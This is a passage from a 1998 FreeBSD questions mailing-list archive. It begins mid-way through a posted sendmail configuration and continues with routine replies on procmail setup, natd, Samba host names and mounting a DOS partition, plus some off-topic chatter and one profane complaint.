$* $: $1 < @ $j . > $2 no domain at all R$* < @ localhost . $m > $* $: $1 < @ $j . > $2 local domain R$* < @ localhost . UUCP > $* $: $1 < @ $j . > $2 .UUCP domain R$* < @ [ $+ ] > $* $: $1 < @@ [ $2 ] > $3 mark [a.b.c.d] R$* < @@ $=w > $* $: $1 < @ $j . > $3 self-literal R$* < @@ $+ > $* $@ $1 < @ $2 > $3 canon IP addr # look up domains in the domain table #R$* < @ $+ > $* $: $1 < @ $(domaintable $2 $) > $3 # if really UUCP, handle it immediately # try UUCP traffic as a local address R$* < @ $+ . UUCP > $* $: $1 < @ $[ $2 $] . UUCP . > $3 R$* < @ $+ . . UUCP . > $* $@ $1 < @ $2 . > $3 # pass to name server to make hostname canonical R$* < @ $* $~P > $* $: $1 < @ $[ $2 $3 $] > $4 # local host aliases and pseudo-domains are always canonical R$* < @ $=w > $* $: $1 < @ $2 . > $3 R$* < @ $j > $* $: $1 < @ $j . > $2 R$* < @ $=M > $* $: $1 < @ $2 . > $3 R$* < @ $* $=P > $* $: $1 < @ $2 $3 . > $4 R$* < @ $* . . > $* $1 < @ $2 . > $3 ################################################## ### Ruleset 4 -- Final Output Post-rewriting ### ################################################## S4 R$* <@> $@ handle <> and list:; # strip trailing dot off possibly canonical name R$* < @ $+ . > $* $1 < @ $2 > $3 # eliminate internal code -- should never get this far! R$* < @ *LOCAL* > $* $1 < @ $j > $2 # externalize local domain info R$* < $+ > $* $1 $2 $3 defocus R@ $+ : @ $+ : $+ @ $1 , @ $2 : $3 canonical R@ $* $@ @ $1 ... and exit # UUCP must always be presented in old form R$+ @ $- . UUCP $2!$1 u@h.UUCP => h!u # delete duplicate local names R$+ % $=w @ $=w $1 @ $2 u%host@host => u@host ############################################################## ### Ruleset 97 -- recanonicalize and call ruleset zero ### ### (used for recursive calls) ### ############################################################## S97 R$* $: $>3 $1 R$* $@ $>0 $1 ###################################### ### Ruleset 0 -- Parse Address ### ###################################### S0 R$* $: $>Parse0 $1 initial parsing R$* $: $>98 $1 handle local hacks R$* $: $>Parse1 $1 final parsing SParse0 R<@> $#local $: <@> special case error msgs R$* : $* ; <@> $#error $@ 5.1.3 $: "list:; syntax illegal for recipient addresses" R<@ $+> $#error $@ 5.1.1 $: "user address required" R$* $: <> $1 R<> $* < @ [ $+ ] > $* $1 < @ [ $2 ] > $3 R<> $* <$* : $* > $* $#error $@ 5.1.1 $: "colon illegal in host name part" R<> $* $1 R$* < @ . $* > $* $#error $@ 5.1.2 $: "invalid host name" R$* < @ $* .. $* > $* $#error $@ 5.1.2 $: "invalid host name" # handle numeric address spec R$* < @ [ $+ ] > $* $: $>98 $1 < @ [ $2 ] > $3 numeric internet spec R$* < @ [ $+ ] > $* $#esmtp $@ [$2] $: $1 < @ [$2] > $3 still numeric: send # now delete the local info -- note $=O to find characters that cause forwarding R$* < @ > $* $@ $>Parse0 $>3 $1 user@ => user R< @ $=w . > : $* $@ $>Parse0 $>3 $2 @here:... -> ... R$- < @ $=w . > $: $(dequote $1 $) < @ $2 . > dequote "foo"@here R< @ $+ > $#error $@ 5.1.1 $: "user address required" R$* $=O $* < @ $=w . > $@ $>Parse0 $>3 $1 $2 $3 ...@here -> ... SParse1 # handle virtual users #R$+ < @ $=w . > $: < $(virtuser $1 @ $2 $@ $1 $: @ $) > $1 < @ $2 . > #R<@> $+ + $* < @ $* . > $: < $(virtuser $1 + * @ $3 $@ $1 $: @ $) > $1 + $2 < @ $3 . > #R<@> $+ + $* < @ $* . > $: < $(virtuser $1 @ $3 $@ $1 $: @ $) > $1 + $2 < @ $3 . > #R<@> $+ < @ $+ . > $: < $(virtuser @ $2 $@ $1 $: @ $) > $1 < @ $2 . > #R<@> $+ $: $1 #R< error : $- $+ > $* $#error $@ $( dequote $1 $) $: $2 #R< $+ > $+ < @ $+ > $: $>97 $1 # short circuit local delivery so forwarded email works #R$+ . USENET < @ $=w . > $#usenet $: $1 handle usenet specially R$=L < @ $=w . > $#local $: @ $1 special local names R$+ < @ $=w . > $#local $: $1 regular local name # not local -- try mailer table lookup #R$* <@ $+ > $* $: < $2 > $1 < @ $2 > $3 extract host name #R< $+ . > $* $: < $1 > $2 strip trailing dot #R< $+ > $* $: < $(mailertable $1 $) > $2 lookup #R< $~[ : $+ > $* $>95 < $1 : $2 > $3 check -- resolved? #R< $+ > $* $: $>90 <$1> $2 try domain # resolve remotely connected UUCP links (if any) # resolve fake top level domains by forwarding to other hosts # pass names that still have a host to a smarthost (if defined) R$* < @ $* > $* $: $>95 < $S > $1 < @ $2 > $3 glue on smarthost name # deal with other remote names R$* < @$* > $* $#esmtp $@ $2 $: $1 < @ $2 > $3 user@host.domain # if this is quoted, strip the quotes and try again R$+ $: $(dequote $1 $) strip quotes R$+ $=O $+ $@ $>97 $1 $2 $3 try again # handle locally delivered names R$=L $#local $: @ $1 special local names R$+ $#local $: $1 regular local names ########################################################################### ### Ruleset 5 -- special rewriting after aliases have been expanded ### ########################################################################### S5 # deal with plussed users so aliases work nicely R$+ + * $#local $@ $&h $: $1 R$+ + $* $#local $@ + $2 $: $1 + * # prepend an empty "forward host" on the front R$+ $: <> $1 # send unrecognized local users to a relay host #R< > $+ $: < $L . > $( user $1 $) look up user #R< $* > $+ <> $* $: < > $2 $3 found; strip $L #R< $* . > $+ $: < $1 > $2 strip extra dot # see if we have a relay or a hub R< > $+ $: < $H > $1 try hub R< > $+ $: < $R > $1 try relay R< > $+ $: < > < $1 $(dequote "" $&h $) > nope, restore +detail R< > < $+ + $* > $* < > < $1 > + $2 $3 find the user part R< > < $+ > + $* $#local $@ $2 $: @ $1 strip the extra + R< > < $+ > $@ $1 no +detail R$+ $: $1 $(dequote "" $&h $) add +detail back in R< local : $* > $* $: $>95 < local : $1 > $2 no host extension R< error : $* > $* $: $>95 < error : $1 > $2 no host extension R< $- : $+ > $+ $: $>95 < $1 : $2 > $3 < @ $2 > R< $+ > $+ $@ $>95 < $1 > $2 < @ $1 > ################################################################### ### Ruleset 90 -- try domain part of mailertable entry ### ################################################################### S90 #R$* <$- . $+ > $* $: $1$2 < $(mailertable .$3 $@ $1$2 $@ $2 $) > $4 #R$* <$~[ : $+ > $* $>95 < $2 : $3 > $4 check -- resolved? #R$* < . $+ > $* $@ $>90 $1 . <$2> $3 no -- strip & try again #R$* < $* > $* $: < $(mailertable . $@ $1$2 $) > $3 try "." #R< $~[ : $+ > $* $>95 < $1 : $2 > $3 "." found? #R< $* > $* $@ $2 no mailertable match ################################################################### ### Ruleset 95 -- canonify mailer:[user@]host syntax to triple ### ################################################################### S95 R< > $* $@ $1 strip off null relay R< error : $- $+ > $* $#error $@ $( dequote $1 $) $: $2 R< local : $* > $* $>CanonLocal < $1 > $2 R< $- : $+ @ $+ > $*<$*>$* $# $1 $@ $3 $: $2<@$3> use literal user R< $- : $+ > $* $# $1 $@ $2 $: $3 try qualified mailer R< $=w > $* $@ $2 delete local host R< $+ > $* $#relay $@ $1 $: $2 use unqualified mailer ################################################################### ### Ruleset CanonLocal -- canonify local: syntax ### ################################################################### SCanonLocal # strip trailing dot from any host name that may appear R< $* > $* < @ $* . > $: < $1 > $2 < @ $3 > # handle local: syntax -- use old user, either with or without host R< > $* < @ $* > $* $#local $@ $1@$2 $: $1 R< > $+ $#local $@ $1 $: $1 # handle local:user@host syntax -- ignore host part R< $+ @ $+ > $* < @ $* > $: < $1 > $3 < @ $4 > # handle local:user syntax R< $+ > $* <@ $* > $* $#local $@ $2@$3 $: $1 R< $+ > $* $#local $@ $2 $: $1 ################################################################### ### Ruleset 93 -- convert header names to masqueraded form ### ################################################################### S93 # handle generics database #R$+ < @ $=G . > $: < $1@$2 > $1 < @ $2 . > @ mark #R$+ < @ *LOCAL* > $: < $1@$j > $1 < @ *LOCAL* > @ mark #R< $+ > $+ < $* > @ $: < $(generics $1 $: $) > $2 < $3 > #R< > $+ < @ $+ > $: < $(generics $1 $: $) > $1 < @ $2 > #R< $* @ $* > $* < $* > $@ $>3 $1 @ $2 found qualified #R< $+ > $* < $* > $: $>3 $1 @ *LOCAL* found unqualified #R< > $* $: $1 not found # special case the users that should be exposed R$=E < @ *LOCAL* > $@ $1 < @ $j . > leave exposed R$=E < @ $=M . > $@ $1 < @ $2 . > R$=E < @ $=w . > $@ $1 < @ $2 . > # handle domain-specific masquerading R$* < @ $=M . > $* $: $1 < @ $2 . @ $M > $3 convert masqueraded doms R$* < @ $=w . > $* $: $1 < @ $2 . @ $M > $3 R$* < @ *LOCAL* > $* $: $1 < @ $j . @ $M > $2 R$* < @ $+ @ > $* $: $1 < @ $2 > $3 $M is null R$* < @ $+ @ $+ > $* $: $1 < @ $3 . > $4 $M is not null ################################################################### ### Ruleset 94 -- convert envelope names to masqueraded form ### ################################################################### S94 #R$+ $@ $>93 $1 R$* < @ *LOCAL* > $* $: $1 < @ $j . > $2 ################################################################### ### Ruleset 98 -- local part of ruleset zero (can be null) ### ################################################################### S98 # addresses sent to foo@host.REDIRECT will give a 551 error code R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT . > < ${opMode} > R$* < @ $+ .REDIRECT. > $: $1 < @ $2 . REDIRECT. > R$* < @ $+ .REDIRECT. > < $- > $# error $@ 5.1.1 $: "551 User has moved; please try " <$1@$2> # ###################################################################### ###################################################################### ##### ##### MAILER DEFINITIONS ##### ###################################################################### ###################################################################### ######################*****############## ### PROCMAIL Mailer specification ### ##################*****################## ##### @(#)procmail.m4 8.6 (Berkeley) 4/30/97 ##### Mprocmail, P=/usr/local/sbin/procmail, F=DFMSPhnu9, S=11/31,R=21/31,T=DNS/RFC822/X-Unix, A=procmail -Y -m $h $f $u ##################################### ### SMTP Mailer specification ### ##################################### ##### @(#)smtp.m4 8.33 (Berkeley) 7/9/96 ##### Msmtp, P=[IPC], F=mDFMuX, S=11/31, R=21, E=\r\n, L=990, T=DNS/RFC822/SMTP, A=IPC $h Mesmtp, P=[IPC], F=mDFMuXa, S=11/31, R=21, E=\r\n, L=990, T=DNS/RFC822/SMTP, A=IPC $h Msmtp8, P=[IPC], F=mDFMuX8, S=11/31, R=21, E=\r\n, L=990, T=DNS/RFC822/SMTP, A=IPC $h Mrelay, P=[IPC], F=mDFMuXa8, S=11/31, R=61, E=\r\n, L=2040, T=DNS/RFC822/SMTP, A=IPC $h # # envelope sender rewriting # S11 R$+ $: $>51 $1 sender/recipient common R$* :; <@> $@ list:; special case R$* $: $>61 $1 qualify unqual'ed names R$+ $: $>94 $1 do masquerading # # envelope recipient rewriting -- # also header recipient if not masquerading recipients # S21 R$+ $: $>51 $1 sender/recipient common R$+ $: $>61 $1 qualify unqual'ed names # # header sender and masquerading header recipient rewriting # S31 R$+ $: $>51 $1 sender/recipient common R:; <@> $@ list:; special case # do special header rewriting R$* <@> $* $@ $1 <@> $2 pass null host through R< @ $* > $* $@ < @ $1 > $2 pass route-addr through R$* $: $>61 $1 qualify unqual'ed names R$+ $: $>93 $1 do masquerading # # convert pseudo-domain addresses to real domain addresses # S51 # pass s through R< @ $+ > $* $@ < @ $1 > $2 resolve # output fake domains as user%fake@relay # do UUCP heuristics; note that these are shared with UUCP mailers R$+ < @ $+ .UUCP. > $: < $2 ! > $1 convert to UUCP form R$+ < @ $* > $* $@ $1 < @ $2 > $3 not UUCP form # leave these in .UUCP form to avoid further tampering R< $&h ! > $- ! $+ $@ $2 < @ $1 .UUCP. > R< $&h ! > $-.$+ ! $+ $@ $3 < @ $1.$2 > R< $&h ! > $+ $@ $1 < @ $&h .UUCP. > R< $+ ! > $+ $: $1 ! $2 < @ $Y > use UUCP_RELAY R$+ < @ $+ : $+ > $@ $1 < @ $3 > strip mailer: part R$+ < @ > $: $1 < @ *LOCAL* > if no UUCP_RELAY # # common sender and masquerading recipient rewriting # S61 R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified R$+ $@ $1 < @ *LOCAL* > add local qualification # # relay mailer header masquerading recipient rewriting # S71 R$+ $: $>61 $1 R$+ $: $>93 $1 ################################################## ### Local and Program Mailer specification ### ################################################## ##### @(#)local.m4 8.23 (Berkeley) 5/31/96 ##### #Mlocal, P=/usr/libexec/mail.local, F=lsDFMAw5:/|@qrmn9,S=10/30,R=20/40, # T=DNS/RFC822/X-Unix, # A=mail -d $u Mlocal, P=/usr/local/sbin/procmail,F=lsDFMAw5:/|@qrmn9,S=10/30,R=20/40, T=DNS/RFC822/X-Unix, A=mail -d $u Mprog, P=/bin/sh, F=lsDFMoqeu9, S=10/30, R=20/40, D=$z:/, T=X-Unix, A=sh -c $u # # Envelope sender rewriting # S10 R<@> $n errors to mailer-daemon R$+ $: $>50 $1 add local domain if needed R$* $: $>94 $1 do masquerading # # Envelope recipient rewriting # S20 R$+ < @ $* > $: $1 strip host part # # Header sender rewriting # S30 R<@> $n errors to mailer-daemon R$+ $: $>50 $1 add local domain if needed R$* $: $>93 $1 do masquerading # # Header recipient rewriting # S40 R$+ $: $>50 $1 add local domain if needed #R$* $: $>93 $1 do all-masquerading # # Common code to add local domain name (only if always-add-domain) # S50 #R$* < @ $* > $* $@ $1 < @ $2 > $3 already fully qualified #R$+ $@ $1 < @ *LOCAL* > add local qualification To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:35:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA22994 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:35:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from awfulhak.org (awfulhak.demon.co.uk [158.152.17.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id PAA22889 for ; Sat, 11 Apr 1998 15:35:11 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id XAA07817; Sat, 11 Apr 1998 23:11:09 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804112211.XAA07817@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: goldfish@value.net cc: questions@FreeBSD.ORG Subject: Re: If my network is connected with NE2000, should NATD be run over , ppp0? In-reply-to: Your message of "Sat, 11 Apr 1998 13:47:20 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 23:11:09 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > My ISP connects to me through kernel ppp, my home PC (besides the gateway > PC) connects through a NE2000 card (one on each machine). > > Which interface should I run NATD on? ed0 or ppp0? Please copy me. natd is run on the ``public'' interface - the one with the valid address. Looks like ppp0 in your case. -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 15:45:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id PAA24956 for freebsd-questions-outgoing; Sat, 11 Apr 1998 15:45:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from midwest.idsonline.com (midwest.idsonline.com [207.152.119.5]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id PAA24905 for ; Sat, 11 Apr 1998 15:45:49 -0700 (PDT) (envelope-from xr117@midwest.idsonline.com) Received: from fasfan (il64.idsonline.com [207.152.119.64]) by midwest.idsonline.com (8.6.13/8.6.12) with SMTP id RAA03473 for ; Sat, 11 Apr 1998 17:40:27 -0500 Message-ID: <352FF1DC.5AFD@midwest.idsonline.com> Date: Sat, 11 Apr 1998 17:42:36 -0500 From: xr117@midwest.idsonline.com X-Mailer: Mozilla 3.03 (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: ultra dma drive controllers Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does free bsd have any problems with the ultra dma/ultra ata drive controllers and if they are supported what kernal verision do I need for this support and where do I get it. Thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 16:08:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA27730 for freebsd-questions-outgoing; Sat, 11 Apr 1998 16:08:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from java.dpcsys.com (java.dpcsys.com [206.16.184.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA27714 for ; Sat, 11 Apr 1998 16:08:42 -0700 (PDT) (envelope-from dan@dpcsys.com) Received: from localhost (dan@localhost) by java.dpcsys.com (8.8.7/8.8.5) with SMTP id QAA00599; Sat, 11 Apr 1998 16:08:22 -0700 (PDT) Date: Sat, 11 Apr 1998 16:08:22 -0700 (PDT) From: Dan Busarow To: Dima Dorfman cc: freebsd-questions@FreeBSD.ORG Subject: Re: Installing Procmail In-Reply-To: <3.0.5.32.19980411152747.0093e8e0@207.213.224.25> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Dima Dorfman wrote: > ################################################## > ### Local and Program Mailer specification ### > ################################################## > > ##### @(#)local.m4 8.23 (Berkeley) 5/31/96 ##### > > #Mlocal, P=/usr/libexec/mail.local, > F=lsDFMAw5:/|@qrmn9,S=10/30,R=20/40, > # T=DNS/RFC822/X-Unix, > # A=mail -d $u > > Mlocal, > P=/usr/local/sbin/procmail,F=lsDFMAw5:/|@qrmn9,S=10/30,R=20/40, > T=DNS/RFC822/X-Unix, > A=mail -d $u You copied too much from the local mailer. I'm also assuming the line wrap for your new Mlocal was caused by your mailer, not your fingers :) Your A= line needs to be changed to A=procmail -a $h -d $u Dan -- Dan Busarow 714 443 4172 DPC Systems / Beach.Net dan@dpcsys.com Dana Point, California 83 09 EF 59 E0 11 89 B4 8D 09 DB FD E1 DD 0C 82 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 16:47:49 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA02528 for freebsd-questions-outgoing; Sat, 11 Apr 1998 16:47:49 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA02514 for ; Sat, 11 Apr 1998 16:47:35 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node30.mpc.com.br [200.246.0.30]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id UAA06662; Sat, 11 Apr 1998 20:47:15 -0300 (EST) Message-Id: <3.0.32.19980412084016.0092eb30@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sun, 12 Apr 1998 08:41:12 -0300 To: rotel@indigo.ie, freebsd-questions@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Re: Samba issue again - SOLVED ! Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 05:57 PM 4/11/98 +0000, Niall Smart wrote: >On Apr 11, 11:10pm, Capriotti wrote: >} Subject: Samba issue again >> Samba issue strikes again. >> >> This is my hosts file : > >> 127.0.0.1 localhost brain.mpc.com.br > >> This is nmbd's log: >> >> 04/11/98 12:21:05 netbios nameserver version 1.9.17p2 started >> Copyright Andrew Tridgell 1994-1997 >> Get_Hostbyname: Unknown host. brain > > > Change > > 127.0.0.1 localhost brain.mpc.com.br > > to > > 127.0.0.1 localhost brain.mpc.com.br brain BULL's eye !!!!!! Thanks A LOT !!! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 16:55:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id QAA03205 for freebsd-questions-outgoing; Sat, 11 Apr 1998 16:55:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id QAA03199 for ; Sat, 11 Apr 1998 16:55:40 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id JAA21669; Sun, 12 Apr 1998 09:25:31 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id JAA22247; Sun, 12 Apr 1998 09:25:30 +0930 (CST) (envelope-from grog) Message-ID: <19980412092530.36016@freebie.lemis.com> Date: Sun, 12 Apr 1998 09:25:30 +0930 From: Greg Lehey To: Mike72757 , freebsd-questions@FreeBSD.ORG Subject: Executing directories (was: bsdunix version 2.2.5) References: <3e4c0b6.352f5f11@aol.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <3e4c0b6.352f5f11@aol.com>; from Mike72757 on Sat, Apr 11, 1998 at 08:16:15AM -0400 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 April 1998 at 8:16:15 -0400, Mike72757 wrote: > Hi my name is Scott Powers > when I type in something like > /usr > it gives me a message saying that permision is denied > I can't figure out what I am doing wrong I can't figure out what you're trying to do. Did the other answers clarify the matter? Otherwise it would be a good idea to know what you expect this entry to do. Greg -- See complete headers for address and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:17:27 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA05494 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:17:27 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.netcetera.dk (root@sleipner.netcetera.dk [194.192.207.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA05479 for ; Sat, 11 Apr 1998 17:17:07 -0700 (PDT) (envelope-from leifn@image.dk) Received: (from uucp@localhost) by mail.netcetera.dk (8.8.8/8.8.8) with UUCP id CAA00227 for freebsd-questions@freebsd.org; Sun, 12 Apr 1998 02:16:28 +0200 Received: by swimsuit.swimsuit.roskildebc.dk (0.99.970109) id AA05989; 12 Apr 98 02:15:35 +0100 From: leifn@image.dk (Leif Neland) Date: 11 Apr 98 16:06:13 +0100 Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Message-ID: References: <19980410130143.40104@calweb.com> Organization: Fidonet: Swimsuit Safari. Go for it. To: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10 Apr 98 22:01:43 Giao Nguyen wrote regarding Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" GN>> What I think is needed is the following: GN>> 1) A corporate release version of product with GN>> - Marketron name GN> GN> I'm all in favor of a marketron name. Like maybe FreeBSD98. Just GN> kidding! BSD-2000 ? Leif Neland leifn@internet.dk --- |Fidonet: Leif Neland 2:234/49 |Internet: leifn@image.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:17:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA05503 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:17:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.netcetera.dk (root@sleipner.netcetera.dk [194.192.207.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA05482 for ; Sat, 11 Apr 1998 17:17:16 -0700 (PDT) (envelope-from leifn@image.dk) Received: (from uucp@localhost) by mail.netcetera.dk (8.8.8/8.8.8) with UUCP id CAA00226 for freebsd-questions@freebsd.org; Sun, 12 Apr 1998 02:16:28 +0200 Received: by swimsuit.swimsuit.roskildebc.dk (0.99.970109) id AA05988; 12 Apr 98 02:15:34 +0100 From: leifn@image.dk (Leif Neland) Date: 11 Apr 98 18:34:50 +0100 Subject: How to mount dos partition? Message-ID: References: <352E3EDB.18FA987B@ms11.hinet.net> Organization: Fidonet: Swimsuit Safari. Go for it. To: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10 Apr 98 17:46:35 Doug Lo wrote regarding How to mount dos partition? DL> Subject: How to mount dos partition? DL> DL> Hi, folks, DL> DL> Would anyone tell me how to mount dos partition? DL> My /etc/fstab file is below: DL> /dev/wd0s2b none swap sw 0 0 DL> /dev/wd0s2a / ufs rw 1 1 DL> /dev/wd0s1 none msdos ro 0 0 ^^^^^^^^^^ Is this the partition you want to mount? Then tell where you want to mount it. # mkdir /c: And in /etc/fstab DL> /dev/wd0s1 /c: msdos ro 0 0 Leif Neland leifn@internet.dk --- |Fidonet: Leif Neland 2:234/49 |Internet: leifn@image.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:17:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA05578 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:17:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.netcetera.dk (root@sleipner.netcetera.dk [194.192.207.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA05488 for ; Sat, 11 Apr 1998 17:17:23 -0700 (PDT) (envelope-from leifn@image.dk) Received: (from uucp@localhost) by mail.netcetera.dk (8.8.8/8.8.8) with UUCP id CAA00228 for freebsd-questions@freebsd.org; Sun, 12 Apr 1998 02:16:29 +0200 Received: by swimsuit.swimsuit.roskildebc.dk (0.99.970109) id AA05990; 12 Apr 98 02:15:35 +0100 From: leifn@image.dk (Leif Neland) Date: 11 Apr 98 10:09:52 +0100 Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Message-ID: References: <199804092124.OAA00915@dingo.cdrom.com> <025301bd63fb$0b94bc80$1d43a8c0@shanes.personalogic.com> <199804092124.OAA00915@dingo.cdrom.com> <19980410113536.65458@freebie.lemis.com> <199804100428.WAA09649@lariat.lariat.org> <19980410143743.25913@freebie.lemis.com> <19980410121551.JK28648@mars.hsc.fr> Organization: Fidonet: Swimsuit Safari. Go for it. To: freebsd-questions@FreeBSD.ORG Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 10 Apr 98 12:15:51 Pierre Beyssac wrote regarding Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" PB> The sad thing is that a fair part of the NT growth is based on a PB> self-fulfilling prophecy. NT is supposed to be the future of PB> computing, so everyone jumps on it and gives it more PB> credibility... That's the same as how the PC became the main PB> platform. PB> PB> This is kinda ironic if you remember that a little more than ten PB> years ago, the future was supposed to be OS/2 :-)) The sad thing is that the battle between NT and OS/2 is looking like the battle between Linux and FreeBSD. In the NT vs OS/2 battle marketing won over quality. It looks like the same thing happening here. Leif Neland leifn@internet.dk --- |Fidonet: Leif Neland 2:234/49 |Internet: leifn@image.dk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:49:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA10703 for freebsd-questions-outgoing; Sat, 11 Apr 1998 17:49:42 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from hme0.smtp04.sprint.ca (hme0.smtp04.sprint.ca [207.107.250.65]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA10698 for ; Sat, 11 Apr 1998 17:49:33 -0700 (PDT) (envelope-from bgrzelak@sprint.ca) Received: from adaseb.telusplanet (spc-isp-edm-uas-03-17.sprint.ca [209.103.15.118]) by hme0.smtp04.sprint.ca (8.8.8/8.8.8) with SMTP id UAA08605 for ; Sat, 11 Apr 1998 20:49:25 -0400 (EDT) Message-ID: <35301CEC.4F07@sprint.ca> Date: Sat, 11 Apr 1998 18:46:20 -0700 From: Admin Reply-To: bgrzelak@sprint.ca Organization: NONE X-Mailer: Mozilla 3.0C-NC320 (Win95; U) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: FUCKUP PROGRAM Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG YOur program is so screwed up ITS FUCKED up my computer I had to format it I lost so much stuff cuz of your fucked up program NEXT TIME dont like in the faq To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 17:49:57 